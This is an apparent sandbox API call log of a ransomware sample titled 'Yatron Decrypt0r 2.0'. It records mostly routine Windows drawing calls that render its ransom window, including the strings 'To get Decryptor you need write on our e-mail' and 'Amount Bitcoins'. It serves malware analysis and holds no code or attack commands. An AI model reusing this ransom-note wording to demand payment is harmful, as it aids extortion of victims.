[0283.374] DrawTextExW (in: hdc=0xa010b4c, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2ed7d8, format=0x102410, lpdtp=0x285b130 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2ed7d8) returned 14
[0283.375] RestoreDC (hdc=0xa010b4c, nSavedDC=-1) returned 1
[0283.375] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xa010b4c) returned 0x0
[0283.375] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed7a8) returned 0x0
[0283.375] GdipCreateRegion (region=0x2ed620) returned 0x0
[0283.376] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.376] GdipCreateMatrix (matrix=0x2ed620) returned 0x0
[0283.376] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.376] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed688) returned 0x0
[0283.376] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.376] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x27eb7de0) returned 0x0
[0283.377] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.377] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.377] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6f0) returned 0x0
[0283.377] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.377] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6f8) returned 0x0
[0283.377] GetCurrentObject (hdc=0xa010b4c, type=0x1) returned 0x1b00017
[0283.377] GetCurrentObject (hdc=0xa010b4c, type=0x2) returned 0x1900010
[0283.378] GetCurrentObject (hdc=0xa010b4c, type=0x7) returned 0x6050b85
[0283.378] GetCurrentObject (hdc=0xa010b4c, type=0x6) returned 0x18a002e
[0283.378] SaveDC (hdc=0xa010b4c) returned 1
[0283.378] OffsetViewportOrgEx (in: hdc=0xa010b4c, x=0, y=0, lppt=0x285b530 | out: lppt=0x285b530) returned 1
[0283.378] GetTextAlign (hdc=0xa010b4c) returned 0x0
[0283.379] GetTextColor (hdc=0xa010b4c) returned 0x0
[0283.379] SetTextColor (hdc=0xa010b4c, color=0xffff) returned 0x0
[0283.379] GetCurrentObject (hdc=0xa010b4c, type=0x6) returned 0x18a002e
[0283.379] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed2c0 | out: pv=0x2ed2c0) returned 92
[0283.379] SelectObject (hdc=0xa010b4c, h=0x50a0b98) returned 0x18a002e
[0283.380] GetBkMode (hdc=0xa010b4c) returned 2
[0283.380] SetBkMode (hdc=0xa010b4c, mode=1) returned 2
[0283.380] DrawTextExW (in: hdc=0xa010b4c, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2ed718, format=0x102010, lpdtp=0x285b730 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2ed718) returned 14
[0283.381] RestoreDC (hdc=0xa010b4c, nSavedDC=-1) returned 1
[0283.381] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xa010b4c) returned 0x0
[0283.381] GetDC (hWnd=0x0) returned 0x1010a48
[0283.381] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed7c8) returned 0x0
[0283.382] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7c2b0, height=0x2ed7c4) returned 0x0
[0283.382] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0283.382] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0283.383] GetDC (hWnd=0x0) returned 0x1010a48
[0283.383] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed7c8) returned 0x0
[0283.383] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7c2b0, height=0x2ed7c4) returned 0x0
[0283.383] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0283.384] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0283.384] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.384] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.384] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.384] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.384] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0283.385] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.385] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.385] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.385] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.385] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.385] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.385] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.386] GetCurrentObject (hdc=0xa010b4c, type=0x1) returned 0x1b00017
[0283.386] GetCurrentObject (hdc=0xa010b4c, type=0x2) returned 0x1900010
[0283.386] GetCurrentObject (hdc=0xa010b4c, type=0x7) returned 0x6050b85
[0283.386] GetCurrentObject (hdc=0xa010b4c, type=0x6) returned 0x18a002e
[0283.386] SaveDC (hdc=0xa010b4c) returned 1
[0283.386] OffsetViewportOrgEx (in: hdc=0xa010b4c, x=0, y=0, lppt=0x285bb18 | out: lppt=0x285bb18) returned 1
[0283.387] IsAppThemed () returned 0x1
[0283.387] GetThemeAppProperties () returned 0x3
[0283.387] GetThemeAppProperties () returned 0x3
[0283.387] DrawThemeBackground () returned 0x0
[0283.387] RestoreDC (hdc=0xa010b4c, nSavedDC=-1) returned 1
[0283.387] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xa010b4c) returned 0x0
[0283.387] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.387] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.387] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.388] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.388] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed678) returned 0x0
[0283.388] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.388] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x27eb7de0) returned 0x0
[0283.388] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.388] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.389] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.389] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.389] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.389] GetCurrentObject (hdc=0xa010b4c, type=0x1) returned 0x1b00017
[0283.389] GetCurrentObject (hdc=0xa010b4c, type=0x2) returned 0x1900010
[0283.389] GetCurrentObject (hdc=0xa010b4c, type=0x7) returned 0x6050b85
[0283.390] GetCurrentObject (hdc=0xa010b4c, type=0x6) returned 0x18a002e
[0283.390] SaveDC (hdc=0xa010b4c) returned 1
[0283.390] OffsetViewportOrgEx (in: hdc=0xa010b4c, x=0, y=0, lppt=0x285bf70 | out: lppt=0x285bf70) returned 1
[0283.390] IsAppThemed () returned 0x1
[0283.390] GetThemeAppProperties () returned 0x3
[0283.390] GetThemeAppProperties () returned 0x3
[0283.390] DrawThemeBackground () returned 0x0
[0283.390] RestoreDC (hdc=0xa010b4c, nSavedDC=-1) returned 1
[0283.390] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xa010b4c) returned 0x0
[0283.391] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.391] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.391] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.391] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.391] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0283.391] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.391] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.392] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.392] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.392] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.392] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.392] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.392] GetCurrentObject (hdc=0xa010b4c, type=0x1) returned 0x1b00017
[0283.393] GetCurrentObject (hdc=0xa010b4c, type=0x2) returned 0x1900010
[0283.393] GetCurrentObject (hdc=0xa010b4c, type=0x7) returned 0x6050b85
[0283.393] GetCurrentObject (hdc=0xa010b4c, type=0x6) returned 0x18a002e
[0283.393] SaveDC (hdc=0xa010b4c) returned 1
[0283.393] OffsetViewportOrgEx (in: hdc=0xa010b4c, x=0, y=0, lppt=0x285c3c8 | out: lppt=0x285c3c8) returned 1
[0283.394] IsAppThemed () returned 0x1
[0283.394] GetThemeAppProperties () returned 0x3
[0283.394] GetThemeAppProperties () returned 0x3
[0283.394] DrawThemeBackground () returned 0x0
[0283.394] RestoreDC (hdc=0xa010b4c, nSavedDC=-1) returned 1
[0283.394] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xa010b4c) returned 0x0
[0283.394] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0283.394] SelectPalette (hdc=0xa010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0283.395] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102ac, Msg=0x14, wParam=0x2010a5c, lParam=0x0) returned 0x1
[0283.395] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102be, Msg=0x85, wParam=0x27040b48, lParam=0x0) returned 0x0
[0283.396] CallWindowProcW (lpPrevWndFunc=0x7fef6d41d50, hWnd=0x102c8, Msg=0x85, wParam=0x28040b48, lParam=0x0) returned 0x0
[0283.397] CallWindowProcW (lpPrevWndFunc=0x7fef6d41d50, hWnd=0x102c8, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0283.400] GetWindowPlacement (in: hWnd=0x4015e, lpwndpl=0x2ee6d8 | out: lpwndpl=0x2ee6d8) returned 1
[0283.401] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x47, wParam=0x0, lParam=0x2eeb00) returned 0x0
[0283.401] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee570 | out: lpRect=0x2ee570) returned 1
[0283.401] GetWindowRect (in: hWnd=0x4015e, lpRect=0x2ee570 | out: lpRect=0x2ee570) returned 1
[0283.403] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x5, wParam=0x0, lParam=0x2ad030a) returned 0x0
[0283.403] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x3, wParam=0x0, lParam=0x62014b) returned 0x0
[0283.403] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee600 | out: lpRect=0x2ee600) returned 1
[0283.403] GetWindowRect (in: hWnd=0x4015e, lpRect=0x2ee600 | out: lpRect=0x2ee600) returned 1
[0283.406] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0283.409] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x46, wParam=0x0, lParam=0x2eeac0) returned 0x0
[0283.409] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x83, wParam=0x1, lParam=0x2eea90) returned 0x0
[0283.410] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x85, wParam=0x2040b7c, lParam=0x0) returned 0x0
[0283.413] GetWindowPlacement (in: hWnd=0x4015e, lpwndpl=0x2ee6b8 | out: lpwndpl=0x2ee6b8) returned 1
[0283.413] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee5d0 | out: lpRect=0x2ee5d0) returned 1
[0283.413] GetWindowTextLengthW (hWnd=0x4015e) returned 20
[0283.413] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x14
[0283.413] GetSystemMetrics (nIndex=42) returned 0
[0283.413] GetWindowTextW (in: hWnd=0x4015e, lpString=0x2ee320, nMaxCount=21 | out: lpString="Yatron Decrypt0r 2.0") returned 20
[0283.413] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xd, wParam=0x15, lParam=0x2ee320) returned 0x14
[0283.414] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee3b8 | out: lpRect=0x2ee3b8) returned 1
[0283.414] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0283.414] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0283.414] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0283.414] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0283.414] SaveDC (hdc=0x2010b40) returned 1
[0283.415] GetNearestColor (hdc=0x2010b40, color=0x80) returned 0x80
[0283.415] CreateSolidBrush (color=0x80) returned 0xc100a95
[0283.415] FillRect (hDC=0x2010b40, lprc=0x2ee0a8, hbr=0xc100a95) returned 1
[0283.415] DeleteObject (ho=0xc100a95) returned 1
[0283.415] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0283.416] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x85, wParam=0x3040b7c, lParam=0x0) returned 0x0
[0283.416] GetClientRect (in: hWnd=0x60106, lpRect=0x2ee6f0 | out: lpRect=0x2ee6f0) returned 1
[0283.416] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ee638) returned 0x0
[0283.416] GdipCreateSolidFill (color=0xffffffffff800000, brush=0x2ee620) returned 0x0
[0283.417] GdipFillRectangleI (graphics=0x1c5a7fc0, brush=0x1c5a8390, x=0, y=0, width=759, height=357) returned 0x0
[0283.417] GdipDeleteBrush (brush=0x1c5a8390) returned 0x0
[0283.418] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0283.418] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x85, wParam=0x4040b7c, lParam=0x0) returned 0x0
[0283.418] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.419] GetClientRect (in: hWnd=0x20276, lpRect=0x2ee6f0 | out: lpRect=0x2ee6f0) returned 1
[0283.419] GdipCreateFromHDC (hdc=0x2010b40, graphics=0x2ee638) returned 0x0
[0283.419] GdipCreateSolidFill (color=0xffffffffff800000, brush=0x2ee620) returned 0x0
[0283.419] GdipFillRectangleI (graphics=0x1c5a7fc0, brush=0x1c5a8390, x=0, y=0, width=166, height=103) returned 0x0
[0283.419] GdipDeleteBrush (brush=0x1c5a8390) returned 0x0
[0283.420] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0283.420] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.420] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x85, wParam=0xa040b7c, lParam=0x0) returned 0x0
[0283.423] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x14, wParam=0x2010a5c, lParam=0x0) returned 0x1
[0283.423] SetTextColor (hdc=0x2010a5c, color=0x0) returned 0x0
[0283.423] SetBkColor (hdc=0x2010a5c, color=0xffffff) returned 0xffffff
[0283.424] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.424] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.424] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.425] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.425] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.426] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.426] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.426] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.427] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.427] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.427] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.428] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.428] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.428] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.429] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1
[0283.429] SetTextColor (hdc=0x1010a48, color=0xffffff) returned 0x0
[0283.429] SetBkColor (hdc=0x1010a48, color=0x80) returned 0xffffff
[0283.430] GetWindowTextLengthW (hWnd=0x20284) returned 17
[0283.430] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0283.430] GetSystemMetrics (nIndex=42) returned 0
[0283.430] GetWindowTextW (in: hWnd=0x20284, lpString=0x2ed900, nMaxCount=18 | out: lpString="Amount Bitcoins :") returned 17
[0283.430] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xd, wParam=0x12, lParam=0x2ed900) returned 0x11
[0283.431] GetClientRect (in: hWnd=0x20284, lpRect=0x2edac8 | out: lpRect=0x2edac8) returned 1
[0283.431] GetCurrentObject (hdc=0xb010b4c, type=0x1) returned 0x1b00017
[0283.431] GetCurrentObject (hdc=0xb010b4c, type=0x2) returned 0x1900010
[0283.431] GetCurrentObject (hdc=0xb010b4c, type=0x7) returned 0x6050b85
[0283.431] GetCurrentObject (hdc=0xb010b4c, type=0x6) returned 0x18a002e
[0283.432] SaveDC (hdc=0xb010b4c) returned 1
[0283.432] GetNearestColor (hdc=0xb010b4c, color=0x80) returned 0x80
[0283.432] CreateSolidBrush (color=0x80) returned 0xd100a95
[0283.432] FillRect (hDC=0xb010b4c, lprc=0x2ed7b8, hbr=0xd100a95) returned 1
[0283.432] DeleteObject (ho=0xd100a95) returned 1
[0283.433] RestoreDC (hdc=0xb010b4c, nSavedDC=-1) returned 1
[0283.433] GetWindowTextLengthW (hWnd=0x20284) returned 17
[0283.433] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0283.433] GetSystemMetrics (nIndex=42) returned 0
[0283.433] GetWindowTextW (in: hWnd=0x20284, lpString=0x2ed900, nMaxCount=18 | out: lpString="Amount Bitcoins :") returned 17
[0283.433] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xd, wParam=0x12, lParam=0x2ed900) returned 0x11
[0283.433] IsAppThemed () returned 0x1
[0283.433] GetThemeAppProperties () returned 0x3
[0283.433] GetThemeAppProperties () returned 0x3
[0283.433] SelectPalette (hdc=0xb010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0283.434] GdipCreateFromHDC (hdc=0xb010b4c, graphics=0x2ed9a8) returned 0x0
[0283.434] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0283.434] GdipCreateMatrix (matrix=0x2ed8a0) returned 0x0
[0283.434] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.434] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed908) returned 0x0
[0283.435] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.435] GdipCreateRegion (region=0x2ed8a0) returned 0x0
[0283.435] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.435] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed900) returned 0x0
[0283.435] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.435] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9a0) returned 0x0
[0283.436] IsAppThemed () returned 0x1
[0283.436] GetThemeAppProperties () returned 0x3
[0283.436] GetThemeAppProperties () returned 0x3
[0283.436] IsAppThemed () returned 0x1
[0283.436] GetThemeAppProperties () returned 0x3
[0283.436] GetThemeAppProperties () returned 0x3
[0283.436] IsThemePartDefined () returned 0x1
[0283.436] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed798) returned 0x0
[0283.436] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.436] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.436] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.437] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.437] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0283.437] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.437] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.437] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.437] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.438] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.438] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.438] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.438] GetCurrentObject (hdc=0xb010b4c, type=0x1) returned 0x1b00017
[0283.438] GetCurrentObject (hdc=0xb010b4c, type=0x2) returned 0x1900010
[0283.439] GetCurrentObject (hdc=0xb010b4c, type=0x7) returned 0x6050b85
[0283.439] GetCurrentObject (hdc=0xb010b4c, type=0x6) returned 0x18a002e
[0283.439] SaveDC (hdc=0xb010b4c) returned 1
[0283.439] OffsetViewportOrgEx (in: hdc=0xb010b4c, x=0, y=0, lppt=0x285d6e0 | out: lppt=0x285d6e0) returned 1
[0283.439] GetCurrentObject (hdc=0xb010b4c, type=0x6) returned 0x18a002e
[0283.440] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed4e0 | out: pv=0x2ed4e0) returned 92
[0283.440] SelectObject (hdc=0xb010b4c, h=0x50a0b98) returned 0x18a002e
[0283.440] DrawTextExW (in: hdc=0xb010b4c, lpchText="Amount Bitcoins :", cchText=17, lprc=0x2ed798, format=0x102410, lpdtp=0x285d6f8 | out: lpchText="Amount Bitcoins :", lprc=0x2ed798) returned 14
[0283.441] RestoreDC (hdc=0xb010b4c, nSavedDC=-1) returned 1
[0283.441] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xb010b4c) returned 0x0
[0283.441] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed768) returned 0x0
[0283.441] GdipCreateRegion (region=0x2ed5e0) returned 0x0
[0283.441] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.441] GdipCreateMatrix (matrix=0x2ed5e0) returned 0x0
[0283.442] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.442] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed648) returned 0x0
[0283.442] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.442] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x27eb7de0) returned 0x0
[0283.442] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.443] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.443] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6b0) returned 0x0
[0283.443] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.443] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6b8) returned 0x0
[0283.443] GetCurrentObject (hdc=0xb010b4c, type=0x1) returned 0x1b00017
[0283.443] GetCurrentObject (hdc=0xb010b4c, type=0x2) returned 0x1900010
[0283.444] GetCurrentObject (hdc=0xb010b4c, type=0x7) returned 0x6050b85
[0283.444] GetCurrentObject (hdc=0xb010b4c, type=0x6) returned 0x18a002e
[0283.444] SaveDC (hdc=0xb010b4c) returned 1
[0283.444] OffsetViewportOrgEx (in: hdc=0xb010b4c, x=0, y=0, lppt=0x285daf8 | out: lppt=0x285daf8) returned 1
[0283.455] GetTextAlign (hdc=0xb010b4c) returned 0x0
[0283.455] GetTextColor (hdc=0xb010b4c) returned 0x0
[0283.456] SetTextColor (hdc=0xb010b4c, color=0xffff) returned 0x0
[0283.456] GetCurrentObject (hdc=0xb010b4c, type=0x6) returned 0x18a002e
[0283.456] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed280 | out: pv=0x2ed280) returned 92
[0283.456] SelectObject (hdc=0xb010b4c, h=0x50a0b98) returned 0x18a002e
[0283.457] GetBkMode (hdc=0xb010b4c) returned 2
[0283.457] SetBkMode (hdc=0xb010b4c, mode=1) returned 2
[0283.457] DrawTextExW (in: hdc=0xb010b4c, lpchText="Amount Bitcoins :", cchText=17, lprc=0x2ed6d8, format=0x102010, lpdtp=0x285dcf8 | out: lpchText="Amount Bitcoins :", lprc=0x2ed6d8) returned 14
[0283.457] RestoreDC (hdc=0xb010b4c, nSavedDC=-1) returned 1
[0283.458] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xb010b4c) returned 0x0
[0283.458] GetDC (hWnd=0x0) returned 0x2010b40
[0283.458] GdipCreateFromHDC (hdc=0x2010b40, graphics=0x2ed788) returned 0x0
[0283.458] GdipGetFontHeight (font=0x1c5af190, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0283.458] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0283.459] ReleaseDC (hWnd=0x0, hDC=0x2010b40) returned 1
[0283.459] GetDC (hWnd=0x0) returned 0x2010b40
[0283.459] GdipCreateFromHDC (hdc=0x2010b40, graphics=0x2ed788) returned 0x0
[0283.459] GdipGetFontHeight (font=0x1c5af190, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0283.460] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0283.460] ReleaseDC (hWnd=0x0, hDC=0x2010b40) returned 1
[0283.460] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0283.460] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.461] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0283.461] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.461] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0283.461] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.461] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.461] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.462] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.462] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0283.462] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.462] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0283.462] GetCurrentObject (hdc=0xb010b4c, type=0x1) returned 0x1b00017
[0283.463] GetCurrentObject (hdc=0xb010b4c, type=0x2) returned 0x1900010
[0283.463] GetCurrentObject (hdc=0xb010b4c, type=0x7) returned 0x6050b85
